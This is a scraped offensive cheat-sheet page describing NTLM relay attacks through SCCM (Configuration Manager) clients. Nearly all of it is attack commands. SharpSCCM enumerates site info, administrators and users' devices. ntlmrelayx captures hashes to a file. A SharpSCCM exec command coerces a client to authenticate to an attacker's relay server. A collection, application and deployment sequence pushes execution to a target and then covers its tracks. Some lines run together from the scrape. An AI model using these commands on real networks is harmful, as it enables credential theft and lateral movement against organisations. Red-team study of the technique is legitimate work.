NTLM Relay from SCCM Clients
How ?
Exploit
1. Preparation
2. Finding Users
Capture/Relay
Last updated
Last updated
SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>SharpSCCM.exe local siteinfo
# must show something like :
.\SharpSCCM.exe local siteinfo
[+] Connecting to \\localhost\root\ccm
[+] Executing WQL query: SELECT Name,CurrentManagementPoint FROM SMS_Authority
-----------------------------------
SMS_Authority
-----------------------------------
CurrentManagementPoint: atlas.aperture.sci
Name: SMS:PS1
-----------------------------------SharpSCCM.exe <server> <sitecode> get class-instances SMS_Admin -p CategoryNames -p CollectionNames -p LogonName -p RoleNames
# Full Administrator -> win
# Application Administrator -> win# user last logon
SharpSCCM.exe <server> <sitecode> get device -u <username># To find all computers that are linked to a specific user :
SharpSCCM.exe <server> <sitecode> get primary-user -u <username>ntlmrelayx.py -smb2support -ts -ip <relay_ip> -t <target_ip> -of ~/hashes.txtSharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
# check ntlmrelayx for hashes!
## Prevent timing issues:
.\SharpSCCM.exe <server> <sitecode>
new collection device <collection_name>
add device-to-collection <device_name> <collection_name>
<wait a few minutes>
new application <application_name> <path_to_application>
new deployment <application_name> <collection_name>
<wait a few more minutes>
invoke update <collection_name>
<cleanup>
remove deployment <application_name> <collection_name>
remove application <application_name>
remove collection <collection_name>